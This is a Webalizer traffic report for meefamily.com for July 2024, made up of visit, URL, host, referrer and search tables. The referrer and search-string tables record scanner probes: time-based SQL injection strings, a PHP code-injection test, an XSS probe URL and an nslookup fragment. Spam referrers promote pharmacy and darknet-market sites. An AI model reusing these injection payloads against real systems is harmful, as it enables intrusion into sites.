Usage statistics for meefamily.com

Summary Period: July 2024
Generated 01-Aug-2024 06:25 PDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for July 2024
Total Hits 511117
Total Files 441238
Total Pages 484766
Total Visits 14506
Total kB Files 9065014
Total kB In 222141
Total kB Out 9327649
Total Unique Sites 7528
Total Unique URLs 2877
Total Unique Referrers 7090
Total Unique User Agents 17729
. Avg Max
Hits per Hour 686 11197
Hits per Day 16487 117856
Files per Day 14233 114033
Pages per Day 15637 117669
Sites per Day 242 784
Visits per Day 467 853
kB Files per Day 292420 980909
kB In per Day 7166 59719
kB Out per Day 300892 1071562
Hits by Response Code
Code 200 - OK 86.33% 441238
Code 206 - Partial Content 0.10% 517
Code 301 - Moved Permanently 0.07% 343
Code 304 - Not Modified 0.07% 370
Code 400 - Bad Request 0.76% 3868
Code 401 - Unauthorized 0.00% 11
Code 403 - Forbidden 0.42% 2130
Code 404 - Not Found 12.21% 62412
Code 405 - Method Not Allowed 0.01% 51
Code 408 - Request Timeout 0.03% 174
Code 417 - Expectation Failed 0.00% 1
Code 501 - Not Implemented 0.00% 2

Daily usage for July 2024

Daily Statistics for July 2024
Day Hits Files Pages Visits Sites kB F kB In kB Out
1 5274 1.03% 4937 1.12% 5122 1.06% 292 2.01% 215 2.86% 50166 0.55% 1971 0.89% 51826 0.56%
2 3157 0.62% 2562 0.58% 3005 0.62% 321 2.21% 239 3.17% 79832 0.88% 1013 0.46% 80925 0.87%
3 3145 0.62% 2833 0.64% 3056 0.63% 305 2.10% 223 2.96% 109226 1.20% 985 0.44% 110286 1.18%
4 2803 0.55% 2114 0.48% 2568 0.53% 411 2.83% 302 4.01% 102684 1.13% 858 0.39% 103953 1.11%
5 2768 0.54% 2210 0.50% 2616 0.54% 326 2.25% 230 3.06% 178779 1.97% 881 0.40% 179616 1.93%
6 3552 0.69% 2986 0.68% 3448 0.71% 301 2.08% 211 2.80% 300449 3.31% 1160 0.52% 301667 3.23%
7 98705 19.31% 47420 10.75% 80645 16.64% 307 2.12% 232 3.08% 453023 5.00% 49122 22.11% 536311 5.75%
8 117856 23.06% 114033 25.84% 117669 24.27% 373 2.57% 279 3.71% 980909 10.82% 59719 26.88% 1071562 11.49%
9 14822 2.90% 14273 3.23% 14482 2.99% 320 2.21% 275 3.65% 341159 3.76% 5796 2.61% 345762 3.71%
10 14940 2.92% 14264 3.23% 14796 3.05% 270 1.86% 267 3.55% 306614 3.38% 5865 2.64% 311013 3.33%
11 13593 2.66% 13180 2.99% 13138 2.71% 298 2.05% 285 3.79% 337422 3.72% 5299 2.39% 341373 3.66%
12 13346 2.61% 12855 2.91% 13073 2.70% 258 1.78% 256 3.40% 280953 3.10% 5307 2.39% 285007 3.06%
13 13741 2.69% 13234 3.00% 13546 2.79% 316 2.18% 296 3.93% 332786 3.67% 5376 2.42% 336809 3.61%
14 13825 2.70% 13184 2.99% 13690 2.82% 244 1.68% 228 3.03% 393374 4.34% 5363 2.41% 397378 4.26%
15 14125 2.76% 13698 3.10% 13973 2.88% 381 2.63% 301 4.00% 434018 4.79% 5517 2.48% 438159 4.70%
16 14109 2.76% 13788 3.12% 13992 2.89% 345 2.38% 298 3.96% 456383 5.03% 5518 2.48% 460479 4.94%
17 14373 2.81% 13840 3.14% 14263 2.94% 292 2.01% 241 3.20% 438838 4.84% 5551 2.50% 442979 4.75%
18 13952 2.73% 13428 3.04% 13815 2.85% 358 2.47% 295 3.92% 380971 4.20% 5396 2.43% 385027 4.13%
19 14450 2.83% 13978 3.17% 14143 2.92% 509 3.51% 413 5.49% 437421 4.83% 5661 2.55% 441810 4.74%
20 14475 2.83% 13981 3.17% 14091 2.91% 697 4.80% 612 8.13% 441865 4.87% 5646 2.54% 446087 4.78%
21 14283 2.79% 13721 3.11% 13821 2.85% 690 4.76% 612 8.13% 385513 4.25% 5581 2.51% 389680 4.18%
22 14244 2.79% 13670 3.10% 13770 2.84% 670 4.62% 622 8.26% 391444 4.32% 5615 2.53% 395647 4.24%
23 14200 2.78% 13807 3.13% 13542 2.79% 853 5.88% 784 10.41% 382800 4.22% 5626 2.53% 386962 4.15%
24 12931 2.53% 12341 2.80% 12434 2.56% 653 4.50% 613 8.14% 199197 2.20% 5129 2.31% 203010 2.18%
25 12471 2.44% 11961 2.71% 11943 2.46% 756 5.21% 642 8.53% 153148 1.69% 4964 2.23% 156865 1.68%
26 12637 2.47% 12127 2.75% 12166 2.51% 811 5.59% 517 6.87% 147985 1.63% 4969 2.24% 151770 1.63%
27 11774 2.30% 11421 2.59% 11465 2.37% 642 4.43% 420 5.58% 105687 1.17% 4702 2.12% 109178 1.17%
28 3066 0.60% 2848 0.65% 2778 0.57% 680 4.69% 418 5.55% 64169 0.71% 1053 0.47% 65167 0.70%
29 2463 0.48% 2148 0.49% 2194 0.45% 745 5.14% 503 6.68% 100871 1.11% 765 0.34% 101759 1.09%
30 3462 0.68% 2232 0.51% 3217 0.66% 460 3.17% 297 3.95% 216800 2.39% 896 0.40% 218095 2.34%
31 2575 0.50% 2164 0.49% 2305 0.48% 842 5.80% 404 5.37% 80529 0.89% 838 0.38% 81487 0.87%

Hourly usage for July 2024

Hourly Statistics for July 2024
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 547 16979 3.32% 512 15872 3.60% 530 16447 3.39% 11701 362717 4.00% 245 7584 3.41% 12006 372195 3.99%
1 561 17395 3.40% 518 16088 3.65% 539 16736 3.45% 11807 366024 4.04% 245 7594 3.42% 12104 375222 4.02%
2 584 18110 3.54% 543 16857 3.82% 561 17419 3.59% 11960 370751 4.09% 252 7820 3.52% 12264 380169 4.08%
3 602 18682 3.66% 563 17480 3.96% 587 18225 3.76% 12182 377638 4.17% 257 7979 3.59% 12480 386880 4.15%
4 556 17258 3.38% 530 16432 3.72% 547 16985 3.50% 11557 358257 3.95% 238 7388 3.33% 11829 366706 3.93%
5 590 18293 3.58% 552 17132 3.88% 572 17733 3.66% 11682 362137 3.99% 317 9842 4.43% 11993 371768 3.99%
6 593 18410 3.60% 509 15786 3.58% 564 17484 3.61% 11325 351090 3.87% 256 7929 3.57% 11678 362019 3.88%
7 559 17359 3.40% 525 16303 3.69% 543 16833 3.47% 11528 357362 3.94% 242 7506 3.38% 11818 366364 3.93%
8 531 16482 3.22% 486 15073 3.42% 510 15835 3.27% 11169 346252 3.82% 231 7169 3.23% 11471 355599 3.81%
9 604 18734 3.67% 492 15272 3.46% 538 16707 3.45% 10962 339832 3.75% 260 8065 3.63% 11316 350785 3.76%
10 526 16335 3.20% 452 14016 3.18% 500 15516 3.20% 10767 333780 3.68% 231 7174 3.23% 11089 343754 3.69%
11 638 19803 3.87% 471 14612 3.31% 575 17852 3.68% 10830 335740 3.70% 270 8370 3.77% 11221 347836 3.73%
12 836 25940 5.08% 544 16871 3.82% 766 23764 4.90% 11300 350299 3.86% 343 10641 4.79% 11749 364222 3.90%
13 946 29337 5.74% 631 19565 4.43% 836 25940 5.35% 11929 369786 4.08% 389 12073 5.43% 12385 383938 4.12%
14 1006 31214 6.11% 677 21007 4.76% 912 28295 5.84% 11625 360382 3.98% 417 12920 5.82% 12082 374553 4.02%
15 986 30566 5.98% 787 24403 5.53% 927 28743 5.93% 13601 421638 4.65% 415 12870 5.79% 14012 434372 4.66%
16 821 25475 4.98% 739 22935 5.20% 800 24815 5.12% 13680 424078 4.68% 357 11080 4.99% 14056 435739 4.67%
17 886 27490 5.38% 818 25363 5.75% 858 26615 5.49% 14122 437787 4.83% 385 11947 5.38% 14507 449728 4.82%
18 731 22679 4.44% 676 20976 4.75% 707 21923 4.52% 13967 432971 4.78% 327 10140 4.56% 14342 444594 4.77%
19 717 22251 4.35% 677 21015 4.76% 699 21688 4.47% 13729 425597 4.69% 321 9966 4.49% 14103 437194 4.69%
20 615 19083 3.73% 575 17845 4.04% 598 18544 3.83% 13378 414724 4.57% 277 8585 3.86% 13736 425829 4.57%
21 809 25098 4.91% 768 23834 5.40% 764 23709 4.89% 13644 422975 4.67% 345 10688 4.81% 14022 434684 4.66%
22 620 19231 3.76% 589 18265 4.14% 598 18563 3.83% 11778 365110 4.03% 271 8414 3.79% 12101 375127 4.02%
23 610 18913 3.70% 588 18236 4.13% 593 18395 3.79% 12196 378088 4.17% 271 8396 3.78% 12528 388369 4.16%

Top 30 of 2877 Total URLs
# Hits kB F kB In kB Out URL
1 224324 43.89% 606501 6.69% 93346 42.02% 671038 7.19% /
2 25335 4.96% 3821011 42.15% 8220 3.70% 3827704 41.04% /webalizer/usage_202407.html
3 22809 4.46% 260073 2.87% 7096 3.19% 266184 2.85% /webalizer/
4 15495 3.03% 2489366 27.46% 4892 2.20% 2493544 26.73% /webalizer/usage_202403.html
5 6506 1.27% 1012733 11.17% 2207 0.99% 1014449 10.88% /webalizer/usage_202308.html
6 2541 0.50% 0 0.00% 1142 0.51% 1539 0.02% /sling/
7 2541 0.50% 0 0.00% 1131 0.51% 1474 0.02% /webdav/
8 451 0.09% 2588 0.03% 149 0.07% 2709 0.03% /dollsave.html
9 414 0.08% 1054 0.01% 218 0.10% 1443 0.02% /manual/en/
10 412 0.08% 1107 0.01% 211 0.10% 1462 0.02% /manual/de/
11 412 0.08% 1242 0.01% 207 0.09% 1573 0.02% /manual/ja/
12 408 0.08% 1120 0.01% 208 0.09% 1465 0.02% /manual/fr/
13 407 0.08% 1124 0.01% 214 0.10% 1502 0.02% /manual/tr/
14 404 0.08% 1064 0.01% 212 0.10% 1439 0.02% /manual/ko/
15 399 0.08% 1015 0.01% 201 0.09% 1350 0.01% /manual/da/
16 394 0.08% 1087 0.01% 214 0.10% 1483 0.02% /manual/zh-cn/
17 390 0.08% 1073 0.01% 219 0.10% 1511 0.02% /manual/es/
18 389 0.08% 1014 0.01% 202 0.09% 1362 0.01% /manual/pt-br/
19 337 0.07% 316 0.00% 171 0.08% 383 0.00% /webalizer/usage_202201.html
20 226 0.04% 266 0.00% 98 0.04% 354 0.00% /manual/ko/faq/
21 225 0.04% 389 0.00% 98 0.04% 487 0.01% /manual/pt-br/misc/
22 222 0.04% 355 0.00% 96 0.04% 437 0.00% /manual/pt-br/ssl/
23 221 0.04% 411 0.00% 101 0.05% 529 0.01% /manual/da/platform/
24 221 0.04% 997 0.01% 100 0.05% 1109 0.01% /manual/es/howto/access.html
25 220 0.04% 1211 0.01% 129 0.06% 1459 0.02% /manual/pt-br/new_features_2_0.html
26 218 0.04% 391 0.00% 98 0.04% 500 0.01% /manual/zh-cn/ssl/
27 217 0.04% 1382 0.02% 98 0.04% 1484 0.02% /manual/da/platform/ebcdic.html
28 217 0.04% 1220 0.01% 156 0.07% 1610 0.02% /manual/tr/new_features_2_0.html
29 216 0.04% 1079 0.01% 161 0.07% 1498 0.02% /manual/en/new_features_2_0.html
30 216 0.04% 1079 0.01% 110 0.05% 1241 0.01% /manual/es/new_features_2_0.html

Top 10 of 2877 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 25335 4.96% 3821011 42.15% 8220 3.70% 3827704 41.04% /webalizer/usage_202407.html
2 15495 3.03% 2489366 27.46% 4892 2.20% 2493544 26.73% /webalizer/usage_202403.html
3 6506 1.27% 1012733 11.17% 2207 0.99% 1014449 10.88% /webalizer/usage_202308.html
4 224324 43.89% 606501 6.69% 93346 42.02% 671038 7.19% /
5 22809 4.46% 260073 2.87% 7096 3.19% 266184 2.85% /webalizer/
6 208 0.04% 3901 0.04% 128 0.06% 4147 0.04% /manual/ko/developer/API.html
7 205 0.04% 3845 0.04% 121 0.05% 4059 0.04% /manual/de/developer/API.html
8 205 0.04% 3845 0.04% 100 0.05% 3957 0.04% /manual/fr/developer/API.html
9 203 0.04% 3807 0.04% 100 0.04% 3920 0.04% /manual/en/developer/API.html
10 199 0.04% 3503 0.04% 94 0.04% 3596 0.04% /manual/fr/misc/perf-tuning.html

Top 10 of 2522 Total Entry Pages
# Hits Visits URL
1 224324 43.89% 4979 36.84% /
2 22809 4.46% 681 5.04% /webalizer/
3 451 0.09% 299 2.21% /dollsave.html
4 146 0.03% 112 0.83% /prayer.html
5 15495 3.03% 102 0.75% /webalizer/usage_202403.html
6 104 0.02% 74 0.55% /fan.html
7 111 0.02% 70 0.52% /family.html
8 93 0.02% 65 0.48% /books.html
9 6506 1.27% 65 0.48% /webalizer/usage_202308.html
10 85 0.02% 62 0.46% /adopt.html

Top 10 of 2522 Total Exit Pages
# Hits Visits URL
1 224324 43.89% 5114 38.30% /
2 22809 4.46% 678 5.08% /webalizer/
3 146 0.03% 122 0.91% /prayer.html
4 15495 3.03% 102 0.76% /webalizer/usage_202403.html
5 111 0.02% 76 0.57% /family.html
6 93 0.02% 68 0.51% /books.html
7 104 0.02% 68 0.51% /fan.html
8 99 0.02% 65 0.49% /author.html
9 95 0.02% 61 0.46% /photo.html
10 85 0.02% 58 0.43% /kids.html

Top 30 of 7528 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 212280 41.53% 212127 48.08% 585006 6.45% 88868 40.01% 643631 6.90% 21 0.14% 46.22.51.77
2 189583 37.09% 136828 31.01% 768341 8.48% 98417 44.30% 934020 10.01% 78 0.54% 91.92.240.174
3 25316 4.95% 25316 5.74% 3820798 42.15% 8214 3.70% 3827485 41.03% 2 0.01% 77.105.135.62
4 6059 1.19% 6059 1.37% 974759 10.75% 1912 0.86% 976392 10.47% 71 0.49% 45.141.84.21
5 5440 1.06% 5440 1.23% 876653 9.67% 1792 0.81% 878119 9.41% 10 0.07% 46.161.48.208
6 3592 0.70% 3592 0.81% 40963 0.45% 1093 0.49% 41924 0.45% 2 0.01% 2.63.255.161
7 2524 0.49% 2524 0.57% 406056 4.48% 797 0.36% 406736 4.36% 1 0.01% 178.155.23.250
8 2058 0.40% 2058 0.47% 331087 3.65% 649 0.29% 331641 3.56% 2 0.01% 81.23.166.201
9 1537 0.30% 78 0.02% 343 0.00% 539 0.24% 1343 0.01% 1 0.01% 51.116.101.246
10 1352 0.26% 1352 0.31% 217507 2.40% 427 0.19% 217871 2.34% 2 0.01% 178.155.19.129
11 1154 0.23% 1154 0.26% 185653 2.05% 364 0.16% 185964 1.99% 1 0.01% 178.155.29.231
12 1091 0.21% 1091 0.25% 175518 1.94% 345 0.16% 175812 1.88% 1 0.01% 178.155.27.59
13 710 0.14% 0 0.00% 309 0.00% 3 0.00% 435 0.00% 1 0.01% 51.159.101.189
14 685 0.13% 685 0.16% 7819 0.09% 211 0.10% 8002 0.09% 24 0.17% 216.131.109.245
15 662 0.13% 662 0.15% 106501 1.17% 209 0.09% 106680 1.14% 1 0.01% 81.23.165.154
16 596 0.12% 568 0.13% 3191 0.04% 230 0.10% 3363 0.04% 2 0.01% 37.187.89.104
17 581 0.11% 581 0.13% 6634 0.07% 180 0.08% 6789 0.07% 19 0.13% 185.108.106.250
18 530 0.10% 530 0.12% 6052 0.07% 164 0.07% 6193 0.07% 6 0.04% 185.108.107.62
19 505 0.10% 505 0.11% 81243 0.90% 159 0.07% 81379 0.87% 1 0.01% 178.155.25.151
20 491 0.10% 491 0.11% 5607 0.06% 152 0.07% 5738 0.06% 19 0.13% 198.181.163.250
21 489 0.10% 489 0.11% 78802 0.87% 173 0.08% 78934 0.85% 1 0.01% 5.3.189.71
22 481 0.09% 481 0.11% 5492 0.06% 157 0.07% 5621 0.06% 3 0.02% 69.16.157.190
23 450 0.09% 450 0.10% 321 0.00% 238 0.11% 372 0.00% 22 0.15% 85.115.200.74
24 434 0.08% 434 0.10% 4955 0.05% 143 0.06% 5071 0.05% 55 0.38% 176.67.82.120
25 429 0.08% 429 0.10% 4895 0.05% 134 0.06% 5010 0.05% 4 0.03% 103.107.197.61
26 417 0.08% 417 0.09% 4761 0.05% 139 0.06% 4873 0.05% 7 0.05% 205.185.193.250
27 406 0.08% 406 0.09% 4635 0.05% 125 0.06% 4743 0.05% 35 0.24% 216.131.110.211
28 399 0.08% 399 0.09% 4554 0.05% 123 0.06% 4661 0.05% 3 0.02% 209.234.253.223
29 365 0.07% 365 0.08% 4164 0.05% 113 0.05% 4262 0.05% 35 0.24% 37.46.122.94
30 363 0.07% 363 0.08% 4143 0.05% 112 0.05% 4240 0.05% 19 0.13% 216.131.105.246

Top 10 of 7528 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 25316 4.95% 25316 5.74% 3820798 42.15% 8214 3.70% 3827485 41.03% 2 0.01% 77.105.135.62
2 6059 1.19% 6059 1.37% 974759 10.75% 1912 0.86% 976392 10.47% 71 0.49% 45.141.84.21
3 5440 1.06% 5440 1.23% 876653 9.67% 1792 0.81% 878119 9.41% 10 0.07% 46.161.48.208
4 189583 37.09% 136828 31.01% 768341 8.48% 98417 44.30% 934020 10.01% 78 0.54% 91.92.240.174
5 212280 41.53% 212127 48.08% 585006 6.45% 88868 40.01% 643631 6.90% 21 0.14% 46.22.51.77
6 2524 0.49% 2524 0.57% 406056 4.48% 797 0.36% 406736 4.36% 1 0.01% 178.155.23.250
7 2058 0.40% 2058 0.47% 331087 3.65% 649 0.29% 331641 3.56% 2 0.01% 81.23.166.201
8 1352 0.26% 1352 0.31% 217507 2.40% 427 0.19% 217871 2.34% 2 0.01% 178.155.19.129
9 1154 0.23% 1154 0.26% 185653 2.05% 364 0.16% 185964 1.99% 1 0.01% 178.155.29.231
10 1091 0.21% 1091 0.25% 175518 1.94% 345 0.16% 175812 1.88% 1 0.01% 178.155.27.59

Top 30 of 7090 Total Referrers
# Hits Referrer
1 105833 20.71% - (Direct Request)
2 87929 17.20% https://www.google.com/search
3 34905 6.83% https://interbld.ru/
4 34904 6.83% https://pitonn.ru/
5 34895 6.83% https://evro-dez.ru/
6 34892 6.83% https://promusor24.ru/
7 34811 6.81% https://strelafoton.ru/
8 34810 6.81% https://x-ton.ru/
9 18704 3.66% https://haval-auto-ufa1.ru/
10 15439 3.02% https://vslgaz.ru
11 6606 1.29% https://jaecoo-avtodin.ru/
12 3592 0.70% https://kitehurghada.ru
13 1860 0.36% \
14 1240 0.24% '\
15 1041 0.20% https://propecia24x77.top
16 838 0.16% https://vetosh-optom.ru
17 798 0.16% https://blacksprut-sait.top
18 742 0.15% https://bs4shop.top/
19 710 0.14% https://bs4shop.top
20 700 0.14% https://blacksprut-sait.top/
21 684 0.13% https://propecia365n.top
22 672 0.13% https://baclofen365n.top
23 663 0.13% https://canadianrxp.top
24 649 0.13% https://tadacip365n.top
25 623 0.12% )
26 621 0.12% '.print(md5(31337)).'
27 621 0.12% http://bxss.me/t/xss.html
28 620 0.12% '
29 620 0.12% (nslookup -q
30 620 0.12% )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

Top 20 of 3955 Total Search Strings
# Hits Search String
1 77905 89.73% testing
2 613 0.71% testing\
3 612 0.70% testing'
4 607 0.70% testing\xc0\xa7\xc0\xa2%27%22\\'\\\
5 606 0.70% testing'\
6 521 0.60% testing'||dbms_pipe.receive_message(chr(98)||chr(98)||chr(98)15)||'
7 519 0.60% testing0\xor(if(now()=sysdate()sleep(15)0))xor\z
8 518 0.60% testing-1 waitfor delay '0:0:15' --
9 517 0.60% testing0'xor(if(now()=sysdate()sleep(15)0))xor'z
10 105 0.12% https://igrogamer.blogspot.com/2024/07/blog-post_2.html
11 88 0.10% https://smegabat.ru/2023/09/ρπ°πΌρ‹π΅-π½πΈπ·πΊπΈπ΅-ρ†π΅π½ρ‹/
12 63 0.07% https://smegabat.ru/2023/09/π³πΎρ‚πΎπ²ρ‹πΉ-ρπ°πΌπΎπΎπ±π½π°π²π»ρρŽρ‰πΈπΉ-πΏπ»π΅πΉπ»πΈρρ‚/
13 48 0.06% https://igrogamer.blogspot.com/2019/07/war-thunder.html
14 48 0.06% https://igrogamer.blogspot.com/2023/09/black-desert.html
15 48 0.06% https://igrogamer.blogspot.com/2023/09/wild-terra-2-new-lands.html
16 32 0.04% https://smegabat.ru/p=180
17 16 0.02% https://igrogamer.blogspot.com
18 16 0.02% https://smegabat.ru
19 2 0.00% testing'||dbms_pipe.receive_message(chr(98)||chr(98)||chr(98)6)||'
20 2 0.00% testing-1 waitfor delay '0:0:3' --

Top 15 of 17729 Total User Agents
# Hits User Agent
1 156027 30.53% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 5313 1.04% Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-
3 3614 0.71% Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)
4 3218 0.63% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
5 3097 0.61% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Iron Safari/537.36
6 3094 0.61% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
7 2951 0.58% Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
8 2888 0.57% Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
9 2876 0.56% Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
10 2832 0.55% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
11 2759 0.54% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.66 Safari/537.36
12 2525 0.49% Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4201.0 Mobile Sa
13 2471 0.48% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
14 2157 0.42% Custom-AsyncHttpClient
15 2014 0.39% Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Sa

Usage by Country for July 2024

Top 30 of 92 Total Countries
# Hits Files kB F kB In kB Out Country
1 265228 51.89% 264602 59.97% 7953914 87.74% 105978 47.71% 8026906 86.05% Russian Federation
2 190058 37.18% 136886 31.02% 768594 8.48% 98616 44.39% 934898 10.02% Bulgaria
3 18569 3.63% 14561 3.30% 150646 1.66% 5921 2.67% 158681 1.70% United States
4 8460 1.66% 7929 1.80% 44222 0.49% 3411 1.54% 46980 0.50% Canada
5 5436 1.06% 4416 1.00% 31627 0.35% 1239 0.56% 33242 0.36% France
6 5116 1.00% 1356 0.31% 8160 0.09% 997 0.45% 10269 0.11% Unresolved/Unknown
7 3398 0.66% 1252 0.28% 6106 0.07% 1186 0.53% 8240 0.09% Germany
8 1818 0.36% 1296 0.29% 10216 0.11% 525 0.24% 11066 0.12% Netherlands
9 1773 0.35% 1479 0.34% 16069 0.18% 536 0.24% 16702 0.18% Great Britain (UK)
10 1558 0.30% 462 0.10% 2904 0.03% 422 0.19% 3975 0.04% China
11 1415 0.28% 1396 0.32% 15917 0.18% 440 0.20% 16302 0.17% Australia
12 1271 0.25% 1261 0.29% 14094 0.16% 397 0.18% 14450 0.15% European Union
13 1168 0.23% 864 0.20% 4832 0.05% 578 0.26% 5399 0.06% Singapore
14 586 0.11% 564 0.13% 6384 0.07% 184 0.08% 6558 0.07% Romania
15 581 0.11% 475 0.11% 3240 0.04% 165 0.07% 3442 0.04% Cyprus
16 562 0.11% 557 0.13% 6351 0.07% 174 0.08% 6503 0.07% Finland
17 382 0.07% 382 0.09% 4361 0.05% 119 0.05% 4463 0.05% Estonia
18 379 0.07% 379 0.09% 3768 0.04% 77 0.03% 3866 0.04% Israel
19 365 0.07% 249 0.06% 2785 0.03% 122 0.05% 3052 0.03% Spain
20 333 0.07% 333 0.08% 3803 0.04% 104 0.05% 3892 0.04% Portugal
21 308 0.06% 292 0.07% 1637 0.02% 121 0.05% 1735 0.02% Norway
22 259 0.05% 38 0.01% 122 0.00% 104 0.05% 429 0.00% Hungary
23 242 0.05% 16 0.00% 109 0.00% 90 0.04% 288 0.00% Hong Kong
24 228 0.04% 227 0.05% 2590 0.03% 71 0.03% 2651 0.03% Czech Republic
25 208 0.04% 57 0.01% 180 0.00% 78 0.04% 331 0.00% Japan
26 159 0.03% 123 0.03% 249 0.00% 57 0.03% 310 0.00% Panama
27 151 0.03% 82 0.02% 878 0.01% 52 0.02% 974 0.01% Ukraine
28 119 0.02% 20 0.00% 123 0.00% 31 0.01% 194 0.00% India
29 118 0.02% 12 0.00% 49 0.00% 74 0.03% 117 0.00% Turkey
30 103 0.02% 12 0.00% 85 0.00% 32 0.01% 158 0.00% Iran


Generated by Webalizer Version 2.23